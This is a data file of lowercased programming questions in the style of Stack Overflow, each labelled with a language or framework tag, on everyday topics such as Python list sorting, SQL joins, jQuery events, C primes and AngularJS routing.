code has printed too many times repeatedly <pre><code>myfile = open( results.txt )     title =  {0:20} {1:20} {2:20} {3:20} {4:20} .format( player nickname   matches played   matches won   matches lost   points )     print(title)     unsorted_data = list()     for line in myfile:         item = line.split(   )         points = int(item[2]) * 3         item.append (points)         if item[2] != 0:             unsorted_data.append(item)             sorted_data = sorted(unsorted_data key=lambda x : x[5]  reverse= true)             for item in sorted_data:                 result =  {0:20} {1:20} {2:20} {3:20} {4:&lt;20} .format(*item)                 print(result) </code></pre>   hi there  i m pretty new to python. so recently after asking another question on how to sort a list  i now have another problem. when the program prints my results it print a bunch of repeated names. how do i fix it  and is there a way to put .rstrip() into item[3] as there is a newline escape code there and i want to get rid of it. together while sorting the list.    below is an few examples from the file:   <pre><code>esports 19 8 11 rngesus 19 7 12 kes 19 9 10 magnitude 19 6 13 </code></pre>,python
in jquery get neighboring cell data (same row) for each row link  i have a table with the structure   <pre><code>&lt;table&gt;   &lt;tr&gt;     &lt;td class= idcol &gt;         some data...     &lt;/td&gt;     &lt;td class= linkcol &gt;         &lt;a href= .. &gt;link&lt;/a&gt;     &lt;/td&gt;     &lt;!-- etc. --&gt;   &lt;/tr&gt; &lt;/table&gt; </code></pre>   a jquery iterator needs to go through all the links and capture the neighboring data in the corresponding column idcol to the left:   <pre><code>$( #mytable a[id^= linkindex ] ).off( click.linkindex ).on( click.linkindex   function() {    // here  need to get the corresponding  idcol  contents for this link row    var idcontents = ...; }); </code></pre>   is there an easy way to do this,jquery
why is x==x false if the value of x is nan   <a href= http://www.gnu.org/software/libc/manual/html_node/infinity-and-nan.html  rel= nofollow >http://www.gnu.org/software/libc/manual/html_node/infinity-and-nan.html</a>    this specifies that x==x is false if x is nan.  what would be the underlying reason  if the compiler detects stuff like 1.0/0.0 (nan) wouldn t it automatically set the value to 0x7f800000 (ieee754 single precision floating point representation for nan/inf). then when the x==x comparison occurs  should it be true as it would be a comparison of the same hex value,c
multiple threads started by user. using result only from last one  i have application where user provides data to be handled by thread and then the thread returns the data into the ui. user can change the input starting another thread. how to properly ignore old returing threads      i noticed two solutions often desribed.  1) in the invoke check if current input data is same as the thread worked on  2) wait for first thread to end before starting another one    first solution works but still older thread may be used if user changed input again to same value and i get twice or more refreshing ui with the same data  second option is less responsive especially when the calculations in thread run longer because we have to wait for each thread to complete its work    i created below solution and i wonder if it is proper way of handling it or i need to add some other check or lock.   <pre><code>private thread lastthread;  private void buttonclick(object sender  mousebuttoneventargs e)     {     this.lastthread= new thread(delegate () { update(somedata); });     this.lastthread.start();     }  private void update(int somedata) {      thread currthread = thread.currentthread;      application.current.dispatcher.invoke(new action(() =&gt; endupdate(         somedatacalculated          currthread         )));  private void endupdate(int somedatacalculated  thread senderthread) {          if (senderthread == this.lastthread)             {             // right thread  do some work in ui            }    } </code></pre>,c#
mysql multiple joins with percentage match  i have 4 tables: title  title_terms  title_test  hashes    title has the following structure (term_num is a count of words in title):   <pre><code>id              title                      term_num 1               testing now                  2 2               this a test                  3 3               test one two three           4 </code></pre>   title_terms has the following structure and lists all terms for each title as rows using id:   <pre><code>id        term 1         testing 1         now    2         this 2         a 2         test     3         test 3         one 3         two 3         three </code></pre>   title_test has the following structure:   <pre><code>hash    term xxx     test  xxx     one  xxx     two   yyy     one yyy     four </code></pre>   hashes has the following structure:   <pre><code>hash    id xxx       yyy       </code></pre>   i am trying to come up with a query that would let me assign an id to each hash in the hashes table when >= 75% of terms in title_terms have a corresponding value in title_test (in this case i d want to be able to assign id 3 to hash xxx).  i d like to avoid instr queries as the tables have several million records.    i d appreciate any suggestions.  thanks.,mysql
using function s context versus passing parameters to a function  i want to know how using <code>this</code> keyword within a function by passing the context is better than passing a parameter to a function.    for example:   <pre><code>var dog = {     name:  puppy  };  function foo(obj) {     console.log(obj.name); }  foo(dog); // puppy </code></pre>   i realized that i have been following the above pattern way to much in my code. although i haven t hit that stage where its limitations are obvious. i want to know how using <code>this</code> is more elegant. that is  using the below pattern instead:   <pre><code>function foo(){     console.log(this.name); }  foo.call(dog); //puppy </code></pre>,javascript
error: dereferencing pointer to incomplete type. <pre><code>struct t_node {     element info;     struct t_node* next; }; </code></pre>   i keep getting this error when i try to compile  could any one pleas explain me why  and how can i fix it  the error appear in the code below.   <pre><code>node* createnode(element e) {     node* node = (node*) malloc(sizeof(struct t_node));     if(node == null)         return null;      (*node)-&gt;info = e; // here     (*node)-&gt;next = null; // and here     return node; }; </code></pre>,c
need to create a string token dynamically base on which method is calling it  this is a minimal code.     i have the string str which is used by various methods. i want to in getid method be able to do 2 things   <ol> <li>assign class= pdp  to it and </li> <li>give it a value3</li> </ol>   so the final string looks like     <code>&lt;tr class= pdp  id= {2} &gt; &lt;td {0}&lt;/td&gt;&lt;td&gt;{1}&lt;/td&gt;&lt;/tr&gt;</code>    but please note that i will need different values for class in different methods so some str will have pdp  another will have ptm etc. is there a clean way to achieve this .   <pre><code>private const string str =  &lt;tr&gt;&lt;td &gt;{0}&lt;/td&gt;&lt;td&gt;{1}&lt;/td&gt;&lt;/tr&gt; ;  public static string getid() {   string  field=string.format(str  value1 value2  found=true  value3:  ); } </code></pre>,asp.net
is there a way to provide a tool tip or similar for a html input field   i have a html input field for which i would like to provide some additional information when typing in this field or hovering the mouse over it. i have tried the following construct:    <pre><code>&lt;input type= text  onmouseover= window.status= hello world ; return true;  name= textinput  tabindex= 2  maxlength= 8  class= input &gt; </code></pre>   but nothing happens when i type in this field or move the mouse pointer over this field.     is there a <em>simple</em> way to achieve this,html
why do i get the same value of the address  <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt;  void vaibhav() {     int a;     printf( %u\n  &amp;a); }  int main() {     vaibhav();     vaibhav();     vaibhav();     getch();     return 0; }  </code></pre>   every time i get the same value for the address of variable <code>a</code>.    is this compiler dependent  i am using dev c++ ide.,c
sql query - daily attendance for students enrolled in classes  i need help with a sql query. it seems to be working but i need to make two changes:    1) if the student does not have any absences it should not show a row for him but it does not seem to be picking up. 2) if i want to display what class the student is enrolled from a group of classes what would be the proper method to do    <pre><code>select distinct   s.student_number as  student number     s.lastfirst as  student name     decode(s.grade_level -1  pk  0  kg  s.grade_level) as grade    s.home_phone as  phone     decode(s.schoolid 280050  kodiak high school  s.schoolid) school    (select listagg(attm.att_code  | ) within group (order by attm.att_code) from pssis_attendance_meeting attm where attm.att_date=to_date(sysdate) and attm.studentid=s.id and attm.att_code is not null and attm.period_number= 1 ) as  per. 1     (select listagg(attm.att_code  | ) within group (order by attm.att_code) from pssis_attendance_meeting attm where attm.att_date=to_date(sysdate) and attm.studentid=s.id and attm.att_code is not null and attm.period_number= 2 ) as  per. 2     (select listagg(attm.att_code  | ) within group (order by attm.att_code) from pssis_attendance_meeting attm where attm.att_date=to_date(sysdate) and attm.studentid=s.id and attm.att_code is not null and attm.period_number= 3 ) as  per. 3     (select listagg(attm.att_code  | ) within group (order by attm.att_code) from pssis_attendance_meeting attm where attm.att_date=to_date(sysdate) and attm.studentid=s.id and attm.att_code is not null and attm.period_number= 4 ) as  per. 4     (select listagg(attm.att_code  | ) within group (order by attm.att_code) from pssis_attendance_meeting attm where attm.att_date=to_date(sysdate) and attm.studentid=s.id and attm.att_code is not null and attm.period_number= 5 ) as  per. 5     (select listagg(attm.att_code  | ) within group (order by attm.att_code) from pssis_attendance_meeting attm where attm.att_date=to_date(sysdate) and attm.studentid=s.id and attm.att_code is not null and attm.period_number= 6 ) as  per. 6     (select listagg(attm.att_code  | ) within group (order by attm.att_code) from pssis_attendance_meeting attm where attm.att_date=to_date(sysdate) and attm.studentid=s.id and attm.att_code is not null and attm.period_number= 7 ) as  per. 7     (select listagg(attm.att_code  | ) within group (order by attm.att_code) from pssis_attendance_meeting attm where attm.att_date=to_date(sysdate) and attm.studentid=s.id and attm.att_code is not null and attm.period_number= 8 ) as  adv     (select listagg(attm.att_code  | ) within group (order by attm.att_code) from pssis_attendance_meeting attm where attm.att_date=to_date(sysdate) and attm.studentid=s.id and attm.att_code is not null and attm.period_number= 9 ) as  act     (select listagg(attm.att_code  | ) within group (order by attm.att_code) from pssis_attendance_meeting attm where attm.att_date=to_date(sysdate) and attm.studentid=s.id and attm.att_code is not null and attm.period_number= 10 ) as  clb  from attendance att join students s on s.id=att.studentid join cc on s.id=cc.studentid join sections on cc.sectionid = sections.id  where   att.att_date=to_date(sysdate)   and att.schoolid in ( 280050 )   and s.enroll_status= 0    and cc.termid = 2700   and sections.course_number like  act%   order by s.lastfirst </code></pre>,sql
i want an event on my entire div clickable i.e my page should be redirected on click of a div  my code:   <pre><code>&lt;div class= col-lg-3 col-md-6 col-sm-6 col-xs-12 indexpointer &gt;     &lt;div class= img-txt-box3 &gt;         &lt;h2 class= box-text3 &gt;             &lt;a href= @url.action( compare   home ) &gt;             just&lt;br&gt;              compare             &lt;/a&gt;         &lt;/h2&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>.indexpointer {     cursor:pointer; } </code></pre>   my question is: when i click on link pages i can open that following link  but as i have kept my div clickable  i want pages to be opened on click of div. so how can i achieve this,html
best way to determine if a user went offline in mysql  so my script currently forces the user to send a  ping  every 10 minutes. this inserts a record into mysql with the user id and the current timestamp.    what i would like to achieve is seeing if any of the users went offline recently. in theory that would be selecting a recently online (20ish minutes ago) user  then checking if there has not been a ping in the past 11 minutes except i don t seem to be able to figure out how. this is what i have so far:   <pre><code>select * from status where time &gt; (curtime() - 1200) and time &lt; (curtime() - 660) </code></pre>   i have to add  i do this in combination with php but that shouldn t really matter.    any help is appreciated.,mysql
sql : decode with less than operator complex  i want to select only rows which have gas &lt; 0.9 and oil &lt; 0.9 from the following working query.     the below query works fine but i am not able to put in a check to select only when gas &lt; 0.9 and oil &lt; 0.9 value  as i already using groupby ; i am not sure whats the best way to get this result.   <pre><code>select          rf.daytime           geo_field_code           f.name           round(decode(theor_gas_rate_sm3  0  null  null  null abs(alloc_gas_vol_sm3/theor_gas_rate_sm3)) 3) as gas           round(decode(theor_net_oil_rate_stm3  0  null  null  null abs(alloc_net_oil_vol_stm3/theor_net_oil_rate_stm3)) 3) as oil from (select           daytime           geo_field_code           sum(theor_gas_rate_sm3) as theor_gas_rate_sm3           sum(alloc_gas_vol_sm3) as alloc_gas_vol_sm3           sum(theor_net_oil_rate_stm3) as theor_net_oil_rate_stm3           sum(alloc_net_oil_vol_stm3) as alloc_net_oil_vol_stm3     from xyz    where daytime &gt;= to_date ( 2013-01-01    yyyy-mm-dd )     group by daytime  geo_field_code order by geo_field_code  daytime) rf  eckernel_hale.ov_field f where rf.geo_field_code = f.code </code></pre>   any help will be much appreciated.,sql
android programming ui troubles  i m running into a ui problem and seeking help  advice on how to over come my problem.  i m doing a lot of imaging     <strong>1st problem</strong>    when i touch an image i want it to draw over the current images but it s drawing under them  i know this because i comment out the ui just to see if i was correct and i am just cant think of a good way to fix this.     <strong>2nd problem</strong>    is touched events over lapping  when the ui screen from my 1st problem there is also a button and that button overlaps another event. how would i separate these 2 events so they exist in the same area but only trigger the one      <pre><code>class gamescreen extends screen {      board board;     player turn;      enum gamestate {          running          gameover     }     gamestate state = gamestate.running;      public gamescreen(game game) throws filenotfoundexception  ioexception {         super(game);         board = new board();     }      public void update(float deltatime) {          list&lt;touchevent&gt; touchevents = game.getinput().gettouchevents();         game.getinput().getkeyevents();           if (state == gamestate.running) {             updaterunning(touchevents  deltatime);         }         if (state == gamestate.gameover) {             updategameover(touchevents);         }     }      private void updaterunning(list&lt;touchevent&gt; touchevents  float deltatime) {          int len = touchevents.size();         for (int i = 0; i &lt; len; i++) {             touchevent event = touchevents.get(i);             if (event.type == touchevent.touch_up) {             }               //touch events             if (event.type == touchevent.touch_down) {                 if (event.x &gt; 5 &amp;&amp; event.x &lt; 65 &amp;&amp; event.y &gt; 90 &amp;&amp; event.y &lt; 170) {                     buycard(board.turn.hero);                 }              }         }     }      private void updatepaused(list&lt;touchevent&gt; touchevents) {     }      private void updategameover(list&lt;touchevent&gt; touchevents) {     }      @override     public void present(float deltatime) {         graphics g = game.getgraphics();          if (state == gamestate.running) {             drawrunningui();         }          if (state == gamestate.gameover) {             //drawgameoverui();         }         }      @override     public void pause() {     }      @override     public void resume() {     }      @override     public void dispose() {     }      void drawboard() {         graphics g = game.getgraphics();          drawsetup();         drawvillain();         drawhand();         drawlineup();        }      void buycard(card card) {         string n = card.name;         n =  buy  + n;         graphics g = game.getgraphics();         g.drawpixmap(assets.shade  0  0);//main deck         g.drawpixmap(assets.c.get(n)  135  5);          g.drawpixmap(assets.back  45  90);         if ( superpower .equals(card.type) ||  equipment .equals(card.type)                 ||  villain .equals(card.type) ||  supervillain .equals(card.type)                 ||  location .equals(card.type) ||  hero .equals(card.type)) {             g.drawpixmap(assets.buy  350  90);         }       }      void drawvillain() {         graphics g = game.getgraphics();         g.drawpixmap(board.supervillain.deck[0].pic  330  90);//villain         g.drawpixmap(board.turn.hero.pic  5  90);// super hero     }      void drawlineup() {         int x = 70;         for (int i = 0; i &lt; 5; i++) {             graphics g = game.getgraphics();             g.drawpixmap(assets.punch  x  5);             x = x + 65;         }     }      void drawsetup() {         graphics g = game.getgraphics();         g.drawpixmap(assets.battle  0  0);         g.drawpixmap(assets.kick  200  90);         g.drawpixmap(assets.weakness  265  90);          g.drawpixmap(assets.smallcard  5  5);//main deck         g.drawpixmap(assets.smallcard  415  130); //discard         g.drawpixmap(assets.smallcard  415  45);      }      void drawhand() {         int x = 70;         for (int i = 0; i &lt; 5; i++) {             graphics g = game.getgraphics();             g.drawpixmap(board.turn.deck.deck[i].pic  x  230);             x = x + 65;         }      }      private void drawrunningui() {         graphics g = game.getgraphics();         drawsetup();         drawvillain();         drawhand();         drawlineup();          //buycard();     }      private void drawgameoverui() {         throw new unsupportedoperationexception( not supported yet. ); //to change body of generated methods  choose tools | templates.     } } </code></pre>,android
fraction reduction c program  alright guys  so this was an homework assignment  however it s been submitted and i received a 78 :. my professor has yet to respond to my email of help  so here i am now.     the first part of the code is supposed to reduce fractions to their lowest form  and it works.. except when the greatest common denominator is above 10. this is an introduction to c class and i have very little to no experience with c and its specificities. any help/guidance/ideas with the gcd issue..    <pre><code>#include &lt;stdio.h&gt;  int main (void) { int num; int den; int x; int y; int i; int a; int n; int w; int j;  printf( \n *************question 1 *************** \n ); printf( please enter the numerator:  ); scanf( %d   &amp;num); printf( please enter the denominator:  ); scanf( %d   &amp;den); printf( the fraction entered is: \n %d/%d \n   num  den ); if (num &gt; den) x=den; else     x=num; for(i=x; i&gt;=1; i--){         if(num % i == 0 &amp;&amp; den % i == 0){                         printf( this fraction can be reduced! \n );                 num = num/i;                 den = den/i;                     printf( the reduced fraction is %d/%d \n \n   num  den); break;}         else             printf( this fraction cannot be reduced any further \n );                 break; } printf( \n ***************question 2****************** \n ); printf( please enter a number and i will print the even squares up to your input    ); scanf( %d   &amp;n); for ( w=1; w&lt;=n; w++)         if (w*w%2 == 0 &amp;&amp; w*w &lt;= n ) printf( %d \n   w*w);  printf( question 5 test... please enter 10.3 then 5 then 6  ); scanf( %d%f%d  &amp;i &amp;x &amp;j); printf( %d %f  %d \n  i x j);  return 0; } </code></pre>,c
ajax returns null value on success call  i have a small problem with jquery <code>$.ajax()</code> function. i am trying to post the json data to the server but on success call i get <code>null</code> data. please find the code below:   <pre><code>function uploadretdata(retinvoiceval) {     $.ajax({         type:  post           url: wsurl +  js/validation           cache: false          timeout: 20000          data: {             retinvoiceval: retinvoiceval         }          success: function(data) {             console.log( data :   + data); // returns null data         }          error: function(qxhr  textstatus  errorthrown) {}     }); } </code></pre>,jquery
how to convert a tuple to string in python  the original list of tuple is:   <pre><code>[ (datetime.date(2014  8  3)  datetime.date(2014  8  16))  (datetime.date(2014  7  20)  datetime.date(2014  8  2))] </code></pre>   how to transform to <code>[( 2014-08-03   2014-08-16 ) ( 2014-07-20   2014-08-02 )]</code> in one line.,python
repeating operation against multiple lists  let us assume the following lists:     <pre><code>totest=[2 4 5 3 6] l1=[6 8 7 9 4] l2=[3 12 21 30] l3=[2 5] </code></pre>   and the following function:     <pre><code>def evalitem(x): ...detail.... </code></pre>   i have to execute the function against the intersection of totest against all the other lists in a sequence unless there is an exception.<br> there is always the following option:     <pre><code>test1=set(totest)&amp;set(l1) try:   for i in test1:   evalitem(i) except:     return test2=..... </code></pre>   but there should be a faster pythonic functional way to achieve this with much better performance.<br> do note that we go to evaluate test2 only if test1 does not raise an exception.,python
strong params  nested attributes: can t mass-assign  i m using rails 4.0.2 and can t get strong parameters to work with nested attributes.   <pre><code># model has_one :availability accepts_nested_attributes_for :availability  # controller def base_content_params  params.require( base_content ).permit(:enabled  :language  :title  :description        availability_attributes: [:duration  :slots]) end  # view form_for [app  base_content] do |form|   form.fields_for :availability do | a |     a.select  duration   duration_values   end    form.fields_for :availability do | a |     a.select  slots   [*(1..10)]   end </code></pre>   but i keep getting:    <code>can t mass-assign protected attributes for basecontent: availability_attributes</code>   <pre><code>&gt;&gt; base_content_params =&gt; { enabled =&gt; false    title =&gt; test    description =&gt;    availability_attributes =&gt;{ duration =&gt; 30    slots =&gt; 10 }}  # request parameters     { utf8 =&gt; ✓    _method =&gt; patch    authenticity_token =&gt; ---    base_content =&gt;{ enabled =&gt; false    language_id =&gt; 12938    title =&gt; test    description =&gt;     content =&gt;     terms =&gt;     category =&gt; product    category_mode =&gt; appy_booking    responder_email =&gt;     price =&gt; 111.00    price_per =&gt; unit    availability_attributes =&gt;{ start_at(5i) =&gt; 17:45:00    id =&gt; 1    duration =&gt; 30    slots =&gt; 10 }   reward_points =&gt; 100    hash_tags =&gt;     lat =&gt;     lng =&gt;  }   commit =&gt; save &amp; continue edit    geocoder_lat =&gt; 0.0    geocoder_lng =&gt; 0.0    pac-input =&gt;     action =&gt; update    controller =&gt; backend/base_contents    app_id =&gt; 1898    id =&gt; 16108 } </code></pre>   what am i missing here     edit   <pre><code># basecontent model  class basecontent &lt; activerecord::base    attr_accessible :enabled  :price  :price_per  :app  :menu    # app model class app &lt; activerecord::base   attr_accessible :name  :allow_search  :display_logo_badge  #... etc </code></pre>,ruby-on-rails
trigger action on jquery load event completion  i have a web page which loads select boxes dynamically using jquery load event   <pre><code>jquery( #opt_test ).load( getextra.php query=ls&amp;id=2 ).change(); </code></pre>   another select box depends on the data of this one which is bound to the change event.   <pre><code>jquery( #opt_test ).change(function () {     var test = jquery( #opt_test ).val();     alert ( var );     jquery( #opt_host ).load( getextra.php query=ls&amp;id=4&amp;master=  + test ); }) </code></pre>   i have two problems  i can t seem to raise the change event for #opt_test using the load event above.    if i manually duplicate a part of my code to bypass this issue  i find that the alert displaying the value of the select is before the load completed so it shows the old value.    how can i get this event to trigger after the load as completed,jquery
why does this equation return this value  java  it should be returning the value of 70.28  but it returns 0.0. i don t understand why it does this. the equation is set up. i had it set in a method  but i took it out so i can keep those values and use them later on. it worked inside the method  but now that it s out of the method it doesn t work.   <pre><code>import java.util.scanner; import javax.swing.joptionpane; import java.text.decimalformat;  public class assignment51 {    public static void main(string[] args)    {       /*       four categories are used as a basis for compiling a rating:       1. percentage of completions       2. average yards gained       3. percentage of touchdown passes per attempt       4. percentage of interceptions per attempt       */        // decimalformat formatter = new decimalformat( # ##0.000 );        string input;        //get user input       string name;         //player name       int completion;      //number of completions in percentages       int yardsgained;     //number of yards gained       int tdpasses;        //number of touchdown passes       int interceptions;   //number of interceptions       int attempts;        //number of attempts       int yards;           //number of yards       double score;        //passer score       double totalscore;   //total score       double totalpoints;  //total award points       double total;        //total sum       double awardpoints1 = 0.0;         //awarded points +/- 2.375       double awardpoints2 = 0.0;       double awardpoints3 = 0.0;       double awardpoints4 = 0.0;       double percentcomp;       double pointratingcomp;       int num1;         //get player name       name = joptionpane.showinputdialog( type in the player name );        //get number of attemps/passes       input = joptionpane.showinputdialog( type in the total number of passes );       attempts  = integer.parseint(input);         //get number of completed passes       input = joptionpane.showinputdialog( type in the number of completed passes );       num1 = integer.parseint(input);        percentcomp = ((num1 / attempts) * 100);        //debug       system.out.println(percentcomp);        //point rating       pointratingcomp = ((percentcomp - 30) * .05);             //creating methods        double pctcompletion = pctcompletion(attempts  percentcomp);       double avgyardsgain = avgyardsgain(attempts);       double pcttouchdown = pcttouchdown(attempts);       double pctinterceptions = pctinterceptions(attempts); </code></pre>,java
uinib not found when ios target is 3.1.3  hi i am using sdk 4.1 to build an iphone app and i set the target os to 3.1.3. when i install the app on devices running ios4.1. everything goes smoothly.  when i try to run the app on devices running 3.1.3 i get the stacktrace below.   <pre><code>dyld: symbol not found: _objc_class_$_uinib   referenced from: /var/mobile/applications/bdd67a1e-9b40-43e7-a012-7d92036b2e24/thisismy.app/thisismy expected in: /system/library/frameworks/uikit.framework/uikit  in /var/mobile/applications/bdd67a1e-9b40-43e7-a012-7d92036b2e24/thisismy.app/thisismy </code></pre>   my guess is that it s because uinib was only added to the sdk in 4.0.     what i would like to know is how you mitigate this problem. what should i do to support 3.1.3     cheers..,iphone
how to draw drop-down shadows in ios  a cashapelayer uses a cgpathref to draw it s stuff. so i have a star path  and i want a smooth drop shadow with a radius of about 15 units. probably there is some nice functionality in some new iphone os versions  but i need to do it myself for a old aged version of 3.0 (which most people still use).    i tried to do some really nasty stuff: i created a for-loop and sequentially created like 15 of those paths  transform-scaling them step by step to become bigger. then assigning them to a new created cashapelayer and decreasing it s alpha a little bit on every iteration. not only that this scaling is mathematically incorrect and sucks (it should happen relative to the outline!)  the shadow is not rounded and looks really ugly. that s why nice soft shadows have a radius.    the tips of a star shouldn t appear totally sharp after a shadow size of 15 units. they should be soft like cream. but in my ugly solution they re just as s harp as the star itself  since all i do is scale the star 15 times and decrease it s alpha 15 times. ugly.    i wonder how the big guys do it  if you had an arbitrary path  and that path must throw a shadow  how does the algorithm to do that work  probably the path would have to be expanded like 30 times  point-by-point relative to the tangent of the outline away from the filled part  and just by 0.5 units to have a nice blending.    before i re-invent the wheel  maybe someone has a handy example or link,iphone
bind controller data to the html page in angularjs  i am trying to bind data to the html page as below but data is not binding.   <pre><code>&lt;body ng-app= profileapp  ng-controller= profilecontroller  &gt;     {{username}} &lt;/body&gt; </code></pre>   my controller is    <pre><code>var app = angular.module( profileapp  [ ngflash ]); app.controller( profilecontroller  [ $scope   $http   $window   flash  function($scope $http $window flash) {     $scope.username =  sachin yadav ; }]) </code></pre>,angularjs
how to get sha-512 hashing in objective-c   as i m very new to this field i don t have much knowledge in this domain. i want to achieve sha-512 secure hashing in my application. i  using     <pre><code>evp_get_digestbyname((const char*)[digestname utf8string]); </code></pre>   and passing  sha512  in digestname...it was working when i was passing sha1  but will it work when i pass sha512 as parameter,objective-c
what does the number after type means in var_dump(object) php   for example  in the <a href= https://secure.php.net/manual/en/functions.returning-values.php  rel= nofollow >manual</a>   <pre><code>&lt; php     class c {}      function getc(): c {         return new c;     }      var_dump(getc());  &gt; </code></pre>   output    <pre><code>object(c)#1 (0) { } </code></pre>   what does <code>#1</code>  <code>(0)</code> mean,php
how to performantely reject simultanous requests (php based api)  while i have some ideas (ipc  using mysql heap table  memory cache) none of my ideas seem to be working  perfectly .    i look for a way to block any simultanous access to the php script from the same user.<br> all users accessing my script supply a user-id on every call  so i know who is knocking the door before i open it.<br> however  it can happen that users  spam  the hell out of my api  i do not want that anyone can access the script while a previous  api call  is unfinished.      i need something with low system impact and without any race-conditions (flawless handling even if requests come in within a millisecond or faster).    i d be glad for suggestions or info how you solved a similar issue.      platform is linux.    update:<br> i rejected using a database so far because i fear that sending thousands of update or similar queries per second could stall the server even if the single impact is low.<br> sometimes the users tool accessing my api is faulty and just bombards it with massive queries  i expect that to be a performance hit if it s handled through my db.,php
how do i sum up big integers that don t fit into unsigned long long  c++  i ve created a program that sums up all possible individual sub-strings of given data. for example: 1 1 2 2 should return 30 because    <pre><code>1 1 + 1 1 + 1 + 2 1 + 1 + 2 + 2 1 1 + 2 1 + 2 + 2 2 2 + 2 2 </code></pre>   sums up to 30  now the problem isn t creating such a program  the issue is when the big (10^15) numbers come in when there can be as many as 10^5 of them. now my question is: how do i deal with such numbers  i can only use standard library  so no gmp for me unfortunately and i m also forced to run on gcc 4.4.4 which makes it even worse.,c++
not displaying a form in a new tab  i have a page <code>principal.php</code> and the <code>main.php</code>. when i click the principal section it opens the principal form in a new tab. i don t want it. i would like to display the form in the principal section. how can i do this     main.php   <pre><code>&lt;html&gt; &lt;head&gt;        &lt;title&gt;e-statistics&lt;/title&gt; &lt;style&gt;   .body{       margin: 0;    }    .nav{       width: 115%;       height:40px;       background:black;      text-align:center;   }    .nav ul{      width: 800px;      margin:0 auto;      padding:0;   }    .nav ul li{      list-style: none;     }    .nav ul li a{       float: left;       text-decoration:none;       display:block;       padding:10px 40px;       color:#ff9933 ;       border-right:1px solid #ccc;    }    .nav ul li a:hover{       color:white;     } &lt;/style&gt; &lt;/head&gt; &lt;body&gt;      &lt;div class= nav &gt;     &lt;ul&gt;          &lt;li&gt;&lt;a href= principal.php &gt;principal&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= acad_director.php &gt;academic director&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= lecturer.php &gt;lecturer&lt;/a&gt;&lt;/li&gt;      &lt;/ul&gt;     &lt;/div&gt;   &lt;/div&gt;  &lt;/div&gt; &lt;/body&gt; &lt;/html&gt;   principal.php      &lt; php         if ($_server[ request_method ] ==  post ) {        switch ($_post[ program ]) {        case  computer science :        include  csreadprog.php ;        break;        }           exit;       }         &gt;       &lt;html&gt;      &lt;body&gt;         &lt;form method= post &gt;         &lt;b&gt;programs:&lt;b/&gt;         &lt;select name= program &gt;          &lt;option value= choose &gt;please select..&lt;/option&gt;         &lt;option value= computer science &gt;computer science&lt;/option&gt;          &lt;option value= baed &gt;baed&lt;/option&gt;         &lt;option value= psychology &gt;psychology&lt;/option&gt;         &lt;option value= english studies &gt;english studies&lt;/option&gt;&lt;/select&gt;&lt;br/&gt;&lt;br/&gt;          &lt;b&gt;year:&lt;b/&gt;         &lt;select name= year &gt;          &lt;option value= choose &gt;please select..&lt;/option&gt;         &lt;option value= 2007 &gt;2007&lt;/option&gt;          &lt;option value= 2008 &gt;2008&lt;/option&gt;         &lt;option value= 2009 &gt;2009&lt;/option&gt;         &lt;option value= 2010 &gt;2010&lt;/option&gt;         &lt;option value= 2011 &gt;2011&lt;/option&gt;         &lt;option value= 2012 &gt;2012&lt;/option&gt;         &lt;option value= 2013 &gt;2013&lt;/option&gt;         &lt;option value= 2014 &gt;2014&lt;/option&gt;&lt;/select&gt;&lt;br/&gt;&lt;br/&gt;          &lt;b&gt;services:&lt;b/&gt;         &lt;select name= services &gt;          &lt;option value= choose &gt;please select..&lt;/option&gt;         &lt;option value= library &gt;library&lt;/option&gt;          &lt;option value= it facilities &gt;it facilities&lt;/option&gt;         &lt;option value= it services &gt;it services&lt;/option&gt;         &lt;option value= services and support &gt;services and support&lt;/option&gt;         &lt;option value= clubs and societies &gt;clubs and societies&lt;/option&gt;         &lt;option value= other facilities  &gt;other facilities&lt;/option&gt;&lt;/select&gt; &lt;br/&gt;&lt;br/&gt;      &lt;br/&gt;         &lt;input type= submit  name= submit  value= submit &gt;      &lt;/form&gt;    &lt;/body&gt;  &lt;/html&gt; </code></pre>,html
directory.exists return value for a user with no read/write permissions   application lunched by a user with <strong>no read/write permissions</strong> to a specific folder.  for example :  c:\test .     if the application invokes <code>directory.exists( c:\test )</code>  will the return value still be <code>true</code>,.net
creating a program in c to generate primes  i am trying to generate a list of all the prime numbers for the first 1000 numbers. i am not sure where i am going wrong in my code. from what i can tell my nested for loop is not reading dividing/reading the array correctly and then assigning that array the proper value. any insight would be much appreciated. the program currently only generates all the odd numbers.   <pre><code>int main() {      int x = 1;     int arr[500];     int i  j  k;     int counter;     int primearray[500];      for (j=0; j &lt;= 500; j++) {         x += 2;         arr[j] = x;          for (k = 1; k &lt;= 15; k++) {             counter = x%k;             if (counter == 0) {                 primearray[j] = x;             } else {                 break;             }         }          for (i = 0; i &lt; 500; i++) {             printf( %d    primearray[i]);     } } </code></pre>,c
can when function of routeprovider take multiple url paths   my code its something like this:   <pre><code>app.config(function ($routeprovider) {     $routeprovider         .when( /   {             controller:  homecontroller               templateurl:  views/home.html          })         .when( /login   {             controller:  logincontroller               templateurl:  views/login.html          })         .otherwise({             redirectto:  /          }); }); </code></pre>   but i wonder if it could be something like this: <br> ...   <pre><code>    .when( /login  or  /  or  /something   {         controller:  logincontroller           templateurl:  views/login.html      }) </code></pre>   ...    i already read <a href= https://docs.angularjs.org/api/ngroute/provider/$routeprovider  rel= nofollow noreferrer >doc of when function</a> and a have see this <a href= https://stackoverflow.com/questions/37284707/multiple-url-in-routeprovider >question</a> too  but unfortunately i have not be able to find a conclusive answer.    can when function of routeprovider take multiple url paths  <br> thank you in advance.,angularjs
page jumps back to top with window.scrollto()  i want to jump to an <code>id</code> using a <code>hash</code> but after the scroll the page jumps back to the top:   <pre><code>if(window.location.hash !=    &amp;&amp; typeof window.location.hash !=  undefined ) {   const loc = window.location.hash.substr(1);   const locel = document.getelementbyid(loc);   const locpos = locel.offsettop;   window.scrollto(0 500); } </code></pre>   changing the <code>500</code> i can see it scrolling to specific areas but it always jumps back to the top.,javascript
